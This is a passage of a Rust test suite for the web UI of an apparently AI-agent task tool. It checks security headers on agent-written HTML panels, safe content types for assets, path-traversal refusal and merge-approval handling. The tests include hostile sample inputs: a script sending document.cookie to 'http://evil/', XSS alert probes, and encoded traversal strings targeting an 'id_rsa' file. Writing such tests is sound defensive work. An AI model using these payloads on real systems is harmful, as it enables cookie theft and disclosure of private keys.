12081 ) -> Res {
12082 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12083 for (name, value) in headers {
12084 head.push_str(&format!("{name}: {value}\r\n"));
12085 }
12086 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12087 let mut socket = tokio::net::TcpStream::connect(addr)
12088 .await
12089 .expect("connect to the test server");
12090 socket
12091 .write_all(head.as_bytes())
12092 .await
12093 .expect("write request head");
12094 socket.write_all(body).await.expect("write request body");
12095 let mut raw = Vec::new();
12096 socket.read_to_end(&mut raw).await.expect("read response");
12097 let split = raw
12098 .windows(4)
12099 .position(|w| w == b"\r\n\r\n")
12100 .expect("a header block");
12101 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12102 let bytes = raw[split + 4..].to_vec();
12103 let status = head
12104 .lines()
12105 .next()
12106 .and_then(|line| line.split_whitespace().nth(1))
12107 .and_then(|code| code.parse().ok())
12108 .expect("a status line");
12109 Res {
12110 status,
12111 headers: head.to_lowercase(),
12112 head,
12113 body: String::from_utf8_lossy(&bytes).into_owned(),
12114 bytes,
12115 }
12116 }
12117
12118 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12120 let mut state = RunState::new(
12121 PathBuf::from("/repo/magi"),
12122 "main".to_owned(),
12123 "0123456789abcdef".to_owned(),
12124 "Add a web UI\n\nMobile first.".to_owned(),
12125 Config::default(),
12126 );
12127 state.id = id.to_owned();
12128 state.status = status;
12129 let dir = runs.join(id);
12130 std::fs::create_dir_all(&dir).expect("run dir");
12131 std::fs::write(
12132 dir.join("run.json"),
12133 serde_json::to_string_pretty(&state).expect("serialize run"),
12134 )
12135 .expect("write run.json");
12136 }
12137
12138 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12142 let mut state = RunState::new(
12143 PathBuf::from(repo),
12144 "main".to_owned(),
12145 "0123456789abcdef".to_owned(),
12146 "task".to_owned(),
12147 Config::default(),
12148 );
12149 state.id = id.to_owned();
12150 state.status = status;
12151 let dir = runs.join(id);
12152 std::fs::create_dir_all(&dir).expect("run dir");
12153 std::fs::write(
12154 dir.join("run.json"),
12155 serde_json::to_string_pretty(&state).expect("serialize run"),
12156 )
12157 .expect("write run.json");
12158 }
12159
12160 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12161 let body = serde_json::json!({
12162 "schema": 1,
12163 "pid": 4242,
12164 "started_at": Timestamp::now().to_string(),
12165 "updated_at": updated_at.to_string(),
12166 "idle": false,
12167 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12168 "completed": 7,
12169 "polls": 143,
12170 });
12171 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12172 }
12173
12174 fn launch_idle(
12184 _opts: daemon::Opts,
12185 stop: daemon::Stop,
12186 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12187 Box::pin(async move {
12188 while !stop.stopped() {
12189 tokio::time::sleep(Duration::from_millis(2)).await;
12190 }
12191 Ok(())
12192 })
12193 }
12194
12195 fn launch_broken(
12198 _opts: daemon::Opts,
12199 _stop: daemon::Stop,
12200 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12201 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12206 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12207 Box::pin(async move {
12208 Err(anyhow::anyhow!(if first {
12209 "publish the daemon status file: read-only file system"
12210 } else {
12211 "the restarted stand-in failed as well"
12212 }))
12213 })
12214 }
12215
12216 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12225 for _ in 0..SETTLE_STEPS {
12226 let view = fx.get("/api/loop").await.json();
12227 if want(&view) {
12228 return view;
12229 }
12230 tokio::time::sleep(Duration::from_millis(10)).await;
12231 }
12232 panic!(
12233 "the loop never settled: {}",
12234 fx.get("/api/loop").await.json()
12235 );
12236 }
12237
12238 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12240 let store = fx.questions();
12241 let mut q = Question::new(
12242 "20260902-000000-beef".to_owned(),
12243 "implement".to_owned(),
12244 "impl-A".to_owned(),
12245 summary.to_owned(),
12246 "because it matters".to_owned(),
12247 choices.iter().map(|c| (*c).to_owned()).collect(),
12248 );
12249 store.put(&mut q).expect("put question");
12250 q.id
12251 }
12252
12253 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12259 let store = fx.questions();
12260 let mut q = Question::new(
12261 "20260902-000000-beef".to_owned(),
12262 "land".to_owned(),
12263 "fix".to_owned(),
12264 "Merge this?".to_owned(),
12265 "the diff is in the panel".to_owned(),
12266 vec!["merge".to_owned(), "hold".to_owned()],
12267 );
12268 let staging = fx.home.path().join("staging");
12271 std::fs::create_dir_all(&staging).expect("staging dir");
12272 let sources: Vec<PathBuf> = assets
12273 .iter()
12274 .map(|(name, bytes)| {
12275 let path = staging.join(name);
12276 std::fs::write(&path, bytes).expect("write staged asset");
12277 path
12278 })
12279 .collect();
12280 store
12281 .put_panel(&mut q, html, &sources)
12282 .expect("write the panel");
12283 store.put(&mut q).expect("put question");
12284 q.id
12285 }
12286
12287 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12296 seed_talk_at(&fx.talks(), id, status)
12297 }
12298
12299 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12300 std::fs::create_dir_all(store.root()).expect("talks dir");
12301 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12302 .expect("serialize a seat");
12303 let body = serde_json::json!({
12304 "schema": 1,
12305 "id": id,
12306 "repo": "/repo/magi",
12307 "agent": "mock",
12308 "status": status,
12309 "turns": [],
12310 "created_at": Timestamp::now().to_string(),
12311 "updated_at": Timestamp::now().to_string(),
12312 "seat": seat,
12313 });
12314 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12315 store.get(id).expect("the seeded talk has to be readable");
12316 id.to_owned()
12317 }
12318
12319 #[tokio::test]
12320 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12321 let fx = Fixture::start().await;
12322 let id = panel(
12323 &fx,
12324 "<h1>Merge?</h1><img src=\"diff.svg\">",
12325 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12326 );
12327
12328 for path in [
12329 format!("/api/questions/{id}/panel"),
12330 format!("/api/questions/{id}/asset/diff.svg"),
12331 ] {
12332 let res = fx.get(&path).await;
12333 assert_eq!(res.status, 200, "{path}: {}", res.body);
12334 assert_eq!(
12340 res.header("content-security-policy"),
12341 Some(
12342 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12343 font-src data:; base-uri 'none'; form-action 'none'; \
12344 frame-ancestors 'self'"
12345 ),
12346 "{path} is the only thing between a hostile panel and the tailnet"
12347 );
12348 assert_eq!(
12349 res.header("x-content-type-options"),
12350 Some("nosniff"),
12351 "{path}: a browser must not re-decide the type we sent"
12352 );
12353 assert_eq!(
12354 res.header("referrer-policy"),
12355 Some("no-referrer"),
12356 "{path}: a panel must not leak the question id off the machine"
12357 );
12358
12359 let pre = fx.head(&path).await;
12364 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12365 assert_eq!(
12366 pre.header("content-security-policy"),
12367 res.header("content-security-policy"),
12368 "{path}: the preflight carries the same policy"
12369 );
12370 assert_eq!(
12371 pre.header("content-type"),
12372 res.header("content-type"),
12373 "{path}: the preflight carries the same type"
12374 );
12375 }
12376 }
12377
12378 #[tokio::test]
12379 async fn a_panel_reaches_the_browser_byte_for_byte() {
12380 let fx = Fixture::start().await;
12381 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
12386 let id = panel(&fx, html, &[]);
12387
12388 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12389
12390 assert_eq!(res.status, 200);
12391 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12392 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12393 assert_eq!(
12394 res.header("content-disposition"),
12395 None,
12396 "the panel itself is rendered in the frame, not downloaded"
12397 );
12398 }
12399
12400 #[tokio::test]
12401 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12402 let fx = Fixture::start().await;
12403 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12404 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12405 let id = panel(
12406 &fx,
12407 "<img src=\"diff.svg\"><img src=\"shot.png\">",
12408 &[("diff.svg", svg), ("shot.png", png)],
12409 );
12410
12411 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12412 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12413
12414 assert_eq!(as_svg.status, 200);
12415 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12416 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12421
12422 assert_eq!(as_png.status, 200);
12423 assert_eq!(as_png.header("content-type"), Some("image/png"));
12424 assert_eq!(
12425 as_png.header("content-disposition"),
12426 None,
12427 "a raster image has no execution surface, so tapping it still shows it"
12428 );
12429 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12430 }
12431
12432 #[tokio::test]
12433 async fn an_html_asset_is_never_served_as_html() {
12434 let fx = Fixture::start().await;
12435 let id = panel(
12436 &fx,
12437 "<p>see the notes</p>",
12438 &[
12439 (
12440 "notes.html",
12441 b"<script>fetch('http://evil/'+document.cookie)</script>",
12442 ),
12443 ("hook.js", b"fetch('http://evil/')"),
12444 ("data.json", b"{}"),
12445 ("HEADLINE.TXT", b"plain"),
12446 ],
12447 );
12448
12449 for name in ["notes.html", "hook.js", "data.json"] {
12450 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12451 assert_eq!(res.status, 200, "{name}: {}", res.body);
12452 assert_eq!(
12457 res.header("content-type"),
12458 Some("application/octet-stream"),
12459 "{name} must not be a type the browser will execute or render"
12460 );
12461 }
12462 let txt = fx
12465 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12466 .await;
12467 assert_eq!(
12468 txt.header("content-type"),
12469 Some("text/plain; charset=utf-8")
12470 );
12471 }
12472
12473 #[tokio::test]
12474 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12475 let fx = Fixture::start().await;
12476 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12477 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12481
12482 for encoded in [
12489 "%2e%2e%2fid_rsa",
12490 "..%2fid_rsa",
12491 "..%5cid_rsa",
12492 "%2e%2e%5cid_rsa",
12493 "diff%00.svg",
12494 "..",
12495 ".hidden",
12496 "%2e%2e%2f%2e%2e%2fid_rsa",
12497 ] {
12498 let res = fx
12499 .get(&format!("/api/questions/{id}/asset/{encoded}"))
12500 .await;
12501 assert_eq!(
12502 res.status, 400,
12503 "`{encoded}` has to be refused by name, not looked up: {}",
12504 res.body
12505 );
12506 assert!(res.json()["error"].is_string(), "{}", res.body);
12507 }
12508
12509 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12515 let res = fx
12516 .get(&format!("/api/questions/{id}/asset/{literal}"))
12517 .await;
12518 assert_eq!(
12519 res.status, 404,
12520 "`{literal}` must not match the asset route at all: {}",
12521 res.body
12522 );
12523 }
12524 }
12525
12526 #[tokio::test]
12527 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12528 let fx = Fixture::start().await;
12529 let plain = ask(&fx, "Which backend?", &["SQLite"]);
12530 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12531
12532 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12536 assert_eq!(none.status, 404, "{}", none.body);
12537 assert!(none.json()["error"].is_string(), "{}", none.body);
12538 assert_eq!(
12539 fx.head(&format!("/api/questions/{plain}/panel"))
12540 .await
12541 .status,
12542 404,
12543 "the preflight is the only way the client can learn this"
12544 );
12545
12546 let missing = fx
12548 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12549 .await;
12550 assert_eq!(missing.status, 404, "{}", missing.body);
12551 assert!(missing.json()["error"].is_string(), "{}", missing.body);
12552
12553 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12555 assert_eq!(
12556 fx.get("/api/questions/nope/asset/diff.svg").await.status,
12557 404
12558 );
12559 }
12560
12561 #[tokio::test]
12562 async fn a_run_with_an_open_question_reads_as_waiting() {
12563 let fx = Fixture::start().await;
12564 let run = "20260902-000000-beef".to_owned();
12565 write_run(&fx.runs(), &run, RunStatus::Implementing);
12566
12567 let before = fx.get("/api/runs").await.json();
12568 assert_eq!(before[0]["waiting"], false, "{before}");
12569
12570 let store = fx.questions();
12571 let mut q = Question::new(
12572 run.clone(),
12573 "implement".to_owned(),
12574 "impl-A".to_owned(),
12575 "Which backend?".to_owned(),
12576 String::new(),
12577 vec!["SQLite".to_owned()],
12578 );
12579 store.put(&mut q).expect("put");
12580
12581 let during = fx.get("/api/runs").await.json();
12582 assert_eq!(during[0]["waiting"], true, "{during}");
12583
12584 q.answer(Answer::Choice("SQLite".to_owned()))
12587 .expect("answer");
12588 store.put(&mut q).expect("put");
12589 let after = fx.get("/api/runs").await.json();
12590 assert_eq!(after[0]["waiting"], false, "{after}");
12591 }
12592
12593 #[tokio::test]
12594 async fn an_open_question_is_listed_and_counted_by_health() {
12595 let fx = Fixture::start().await;
12596 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12597
12598 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12599 let listed = fx.get("/api/questions").await.json();
12600 assert_eq!(listed.as_array().expect("array").len(), 1);
12601 assert_eq!(listed[0]["id"], id);
12602 assert_eq!(listed[0]["status"], "open");
12603 assert_eq!(listed[0]["choices"][1], "Redis");
12604 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12607 }
12608
12609 fn obsolete_approval_state() -> RunState {
12610 let mut state = crate::land::tests::repair_state(true, true);
12611 state.pr = Some(crate::run::PrRecord {
12612 url: "https://github.com/example/repo/pull/42".into(),
12613 number: 42,
12614 state: "open".into(),
12615 checks: "green".into(),
12616 round: 1,
12617 rounds: 4,
12618 red_at_merge: Vec::new(),
12619 });
12620 state
12621 }
12622
12623 #[tokio::test]
12624 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12625 for owner in ["missing", "current", "completed", "later"] {
12626 let fx = Fixture {
12627 home: TempDir::new().unwrap(),
12628 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12629 };
12630 let mut state = obsolete_approval_state();
12631 state.status = RunStatus::Landing;
12632 state.parked = true;
12633 state.driver_exited = true;
12634 let mut q = Question::new(
12635 state.id.clone(),
12636 crate::land::APPROVAL_NODE.into(),
12637 "land".into(),
12638 "Old approval".into(),
12639 "Original evidence".into(),
12640 vec!["merge".into(), "hold".into()],
12641 );
12642 state.land_approval = Some(crate::run::LandApproval {
12643 question: q.id.clone(),
12644 head: "head".into(),
12645 });
12646 state.save_under(fx.home.path()).unwrap();
12647 let stale = state.clone();
12648 fx.questions().put(&mut q).unwrap();
12649 let mut task = Task::new(
12650 "Owner".into(),
12651 "Original instruction".into(),
12652 state.repo.clone(),
12653 Source::Human,
12654 );
12655 task.runs.push(state.id.clone());
12656 task.status = if owner == "completed" {
12657 TaskStatus::Done
12658 } else {
12659 TaskStatus::Parked
12660 };
12661 if owner == "later" {
12662 task.runs.push("later-run".into());
12663 }
12664 if owner != "missing" {
12665 fx.queue().put(&mut task).unwrap();
12666 }
12667 let ui = Arc::new(Ui::new(
12668 fx.queue(),
12669 fx.questions(),
12670 fx.talks(),
12671 fx.runs(),
12672 fx.home.path().into(),
12673 state.repo.clone(),
12674 ));
12675 let response = question_answer(
12676 State(ui),
12677 Path(q.id.clone()),
12678 Ok(Json(NewAnswer {
12679 choice: Some(crate::merge_decision::DISMISS.into()),
12680 text: None,
12681 ..Default::default()
12682 })),
12683 )
12684 .await
12685 .unwrap();
12686 assert_eq!(
12687 response.0.question.resolution().as_deref(),
12688 Some(crate::merge_decision::DISMISS)
12689 );
12690 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12691 assert_eq!(disk.status, RunStatus::Superseded);
12692 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12693 assert!(!crate::merge_decision::resumable_hold(&disk));
12694 assert_eq!(
12695 serde_json::to_value(&disk.pr).unwrap(),
12696 serde_json::to_value(&stale.pr).unwrap()
12697 );
12698 assert_eq!(fx.questions().count_open(), 0);
12699 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12700 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12701 if owner == "missing" {
12702 assert!(fx.queue().list().is_empty());
12703 } else {
12704 let after = fx.queue().get(&task.id).unwrap();
12705 assert_eq!(
12706 after.status,
12707 if owner == "current" {
12708 TaskStatus::Done
12709 } else {
12710 task.status
12711 }
12712 );
12713 assert_eq!(after.runs, task.runs);
12714 assert_eq!(after.instruction, task.instruction);
12715 assert_eq!(after.action_applied(&q.id), owner == "current");
12716 }
12717 }
12718 }
12719
12720 #[tokio::test]
12721 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12722 let fx = Fixture::start().await;
12723 let mut state = obsolete_approval_state();
12724 state.status = RunStatus::Landing;
12725 state.parked = true;
12726 state.driver_exited = true;
12727 let mut q = Question::new(
12728 state.id.clone(),
12729 crate::land::APPROVAL_NODE.into(),
12730 "land".into(),
12731 "Superseded PR approval".into(),
12732 "Original review evidence".into(),
12733 vec!["merge".into(), "hold".into()],
12734 );
12735 state.land_approval = Some(crate::run::LandApproval {
12736 question: q.id.clone(),
12737 head: "old-reviewed-head".into(),
12738 });
12739 state.save_under(fx.home.path()).unwrap();
12742 let stale_driver = state.clone();
12743 fx.questions().put(&mut q).unwrap();
12744 let path = fx
12745 .home
12746 .path()
12747 .join("questions")
12748 .join(format!("{}.json", q.id));
12749 let mut legacy = serde_json::to_value(&q).unwrap();
12750 legacy["schema"] = 9.into();
12751 legacy.as_object_mut().unwrap().remove("merge_target");
12752 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12753
12754 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12757 let answer_path = format!("/api/questions/{}/answer", q.id);
12758 let res = fx.post(&answer_path, Some(&body)).await;
12759 assert_eq!(res.status, 200, "{}", res.body);
12760 let disk = fx.questions().get(&q.id).unwrap();
12761 assert_eq!(
12762 disk.resolution().as_deref(),
12763 Some(crate::merge_decision::DISMISS)
12764 );
12765 assert!(disk.detail.starts_with("Original review evidence"));
12766 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12767 assert_eq!(retired.status, RunStatus::Superseded);
12768 assert_eq!(
12769 serde_json::to_value(&retired.pr).unwrap(),
12770 serde_json::to_value(&state.pr).unwrap()
12771 );
12772 assert!(!retired.merge_decision.as_ref().unwrap().closed);
12773 assert!(!crate::merge_decision::resumable_hold(&retired));
12774 assert!(fx.queue().list().is_empty());
12775 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12776 let addr = Fixture::serve(
12778 fx.home.path(),
12779 PathBuf::from("/repo/magi"),
12780 launch_idle,
12781 None,
12782 )
12783 .await;
12784 let reconnected = Fixture {
12785 home: fx.home,
12786 addr,
12787 };
12788 let listed = reconnected.get("/api/questions").await.json();
12789 assert!(
12790 listed
12791 .as_array()
12792 .unwrap()
12793 .iter()
12794 .all(|q| q["status"] != "open")
12795 );
12796 assert_eq!(listed[0]["id"], q.id, "history remains available");
12797 assert_eq!(
12798 reconnected.get("/api/health").await.json()["questions_open"],
12799 0
12800 );
12801 assert_eq!(
12802 reconnected
12803 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12804 .await
12805 .status,
12806 409
12807 );
12808 assert!(
12810 reconnected
12811 .questions()
12812 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12813 .is_err()
12814 );
12815 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12818 }
12819
12820 #[tokio::test]
12821 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12822 let fx = Fixture::start().await;
12823 let mut state = obsolete_approval_state();
12824 state.status = RunStatus::Landing;
12825 state.driver_exited = true;
12826 let mut q = Question::new(
12827 state.id.clone(),
12828 crate::land::APPROVAL_NODE.into(),
12829 "land".into(),
12830 "Obsolete approval".into(),
12831 String::new(),
12832 vec!["merge".into(), "hold".into()],
12833 );
12834 state.land_approval = Some(crate::run::LandApproval {
12835 question: q.id.clone(),
12836 head: "head".into(),
12837 });
12838 state.save_under(fx.home.path()).unwrap();
12839 fx.questions().put(&mut q).unwrap();
12840 let mut task = Task::new(
12841 "Owner".into(),
12842 "Original instruction".into(),
12843 state.repo.clone(),
12844 Source::Human,
12845 );
12846 task.runs = vec![state.id.clone(), "later-run".into()];
12847 fx.queue().put(&mut task).unwrap();
12848 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12849 let claim = fx.queue().claim(&task.id).unwrap();
12850 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12851 let path = format!("/api/questions/{}/answer", q.id);
12852 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12853 assert!(fx.questions().get(&q.id).unwrap().status.open());
12854 drop(claim);
12855 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12856 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12857 assert!(fx.questions().get(&q.id).unwrap().status.open());
12858 drop(publication);
12859 state.driver_exited = false;
12861 state.driver_pid = None;
12862 state.driver_claimed = None; state.save_under(fx.home.path()).unwrap();
12864 assert_eq!(
12865 state.liveness_under(fx.home.path(), false),
12866 crate::run::Liveness::Unknown
12867 );
12868
12869 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12870 state.driver_exited = true;
12871 state.land_armed_head = Some("head".into());
12872 state.save_under(fx.home.path()).unwrap();
12873 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12874 state.land_armed_head = None;
12875 state.save_under(fx.home.path()).unwrap();
12876 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12877 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12878 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12879 }
12880
12881 #[tokio::test]
12882 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12883 let fx = Fixture::start().await;
12884 let mut state = obsolete_approval_state();
12885 state.status = RunStatus::Landing;
12886 state.driver_exited = true;
12887 let mut q = Question::new(
12888 state.id.clone(),
12889 crate::land::APPROVAL_NODE.into(),
12890 "land".into(),
12891 "Obsolete approval".into(),
12892 String::new(),
12893 vec!["merge".into(), "hold".into()],
12894 );
12895 state.land_approval = Some(crate::run::LandApproval {
12896 question: q.id.clone(),
12897 head: "head".into(),
12898 });
12899 state.save_under(fx.home.path()).unwrap();
12900 fx.questions().put(&mut q).unwrap();
12901 let mut task = Task::new(
12902 "Owner".into(),
12903 "Original instruction".into(),
12904 state.repo.clone(),
12905 Source::Human,
12906 );
12907 task.runs.push(state.id.clone());
12908 task.status = TaskStatus::Parked;
12909 fx.queue().put(&mut task).unwrap();
12910 state.merge_decision = Some(crate::merge_decision::Decision {
12913 question: q.id.clone(),
12914 target: crate::merge_decision::Target {
12915 pr: state.pr.as_ref().unwrap().url.clone(),
12916 head: "head".into(),
12917 language: "ja".into(),
12918 },
12919 choice: crate::merge_decision::DISMISS.into(),
12920 closed: false,
12921 replacement_run: None,
12922 replacement_pr: None,
12923 });
12924 state.status = RunStatus::Superseded;
12925 state.save_under(fx.home.path()).unwrap();
12926 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12927 let path = format!("/api/questions/{}/answer", q.id);
12928 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12929 let done = fx.queue().get(&task.id).unwrap();
12930 assert_eq!(done.status, TaskStatus::Done);
12931 assert_eq!(done.runs, task.runs);
12932 assert_eq!(done.instruction, task.instruction);
12933 assert!(done.action_applied(&q.id));
12934 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12935 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12936 assert!(!fx.questions().get(&q.id).unwrap().status.open());
12937 }
12938
12939 #[tokio::test]
12940 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12941 let home = TempDir::new().unwrap();
12942 let ui = Arc::new(Ui::new(
12943 Queue::at(home.path().join("queue")),
12944 Questions::at(home.path().join("questions")),
12945 Talks::at(home.path().join("talks")),
12946 home.path().join("runs"),
12947 home.path().to_owned(),
12948 home.path().to_owned(),
12949 ));
12950 let talks = &ui.talks;
12951 let chat =
12952 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12953 let mut q = Question::new(
12954 "run".into(),
12955 crate::land::APPROVAL_NODE.into(),
12956 "land".into(),
12957 "Merge?".into(),
12958 String::new(),
12959 vec!["merge".into(), "hold".into()],
12960 );
12961 q.routed_task = Some("task".into());
12962 q.routed_chat = Some(chat.id.clone());
12963 q.merge_target = Some(crate::merge_decision::Target {
12964 pr: "https://example.test/pull/1".into(),
12965 head: "head-a".into(),
12966 language: "en".into(),
12967 });
12968 ui.questions.put(&mut q).unwrap();
12969 let send = |body| {
12970 question_answer(
12971 State(ui.clone()),
12972 Path(q.id.clone()),
12973 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12974 )
12975 };
12976 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12977 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12978 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12979 assert!(send(wrong_chat).await.is_err());
12980 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12981 assert!(send(stale).await.is_err());
12982 assert!(ui.questions.get(&q.id).unwrap().status.open());
12983 assert!(send(button.clone()).await.is_ok());
12984 assert_eq!(
12985 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12986 Some("merge")
12987 );
12988 assert!(send(button).await.is_err());
12989 }
12990
12991 #[tokio::test]
12992 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12993 let home = TempDir::new().unwrap();
12994 let ui = Arc::new(Ui::new(
12995 Queue::at(home.path().join("queue")),
12996 Questions::at(home.path().join("questions")),
12997 Talks::at(home.path().join("talks")),
12998 home.path().join("runs"),
12999 home.path().to_owned(),
13000 home.path().to_owned(),
13001 ));
13002 for choice in [crate::land::APPROVE, crate::land::HOLD] {
13003 let mut q = Question::new(
13004 "run".into(),
13005 crate::land::APPROVAL_NODE.into(),
13006 "land".into(),
13007 "Merge?".into(),
13008 String::new(),
13009 vec!["merge".into(), choice.into()],
13010 );
13011 q.routed_task = Some("task".into());
13012 q.merge_target = Some(crate::merge_decision::Target {
13013 pr: "https://example.test/pull/1".into(),
13014 head: "head-a".into(),
13015 language: "en".into(),
13016 });
13017 ui.questions.put(&mut q).unwrap();
13018 let answer = |c: &str| {
13019 question_answer(
13020 State(ui.clone()),
13021 Path(q.id.clone()),
13022 Ok(Json(
13023 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13024 .unwrap(),
13025 )),
13026 )
13027 };
13028 let _ = answer(choice).await.unwrap();
13029 assert_eq!(
13030 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13031 Some(choice)
13032 );
13033 }
13034 }
13035
13036 #[tokio::test]
13037 async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13038 let home = TempDir::new().unwrap();
13039 let ui = Arc::new(Ui::new(
13040 Queue::at(home.path().join("queue")),
13041 Questions::at(home.path().join("questions")),
13042 Talks::at(home.path().join("talks")),
13043 home.path().join("runs"),
13044 home.path().to_owned(),
13045 home.path().to_owned(),
13046 ));
13047 let mut q = Question::new(
13048 "run".into(),
13049 crate::github_text::ASK_NODE.into(),
13050 "posting-gate".into(),
13051 "Post?".into(),
13052 String::new(),
13053 vec!["use fallback".into()],
13054 );
13055 q.routed_task = Some("task".into());
13056 ui.questions.put(&mut q).unwrap();
13057 let sent = question_answer(
13058 State(ui.clone()),
13059 Path(q.id.clone()),
13060 Ok(Json(
13061 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13062 .unwrap(),
13063 )),
13064 )
13065 .await;
13066 let _ = sent.unwrap();
13067 assert_eq!(
13068 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13069 Some("use fallback")
13070 );
13071 }
13072
13073 #[tokio::test]
13074 async fn merge_decision_api_persists_exact_target_and_selected_action() {
13075 let fx = Fixture {
13076 home: TempDir::new().unwrap(),
13077 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13078 };
13079 for choice in [
13080 crate::land::HOLD,
13081 crate::land::REPAIR,
13082 crate::land::APPROVE,
13083 crate::merge_decision::WITHDRAW,
13084 "reimplement:beta",
13085 ] {
13086 let mut q = Question::new(
13087 "old-run".into(),
13088 crate::land::APPROVAL_NODE.into(),
13089 "land".into(),
13090 "Decision".into(),
13091 "Review findings".into(),
13092 vec![
13093 "merge".into(),
13094 "hold".into(),
13095 crate::land::REPAIR.into(),
13096 crate::merge_decision::WITHDRAW.into(),
13097 "reimplement:beta".into(),
13098 ],
13099 );
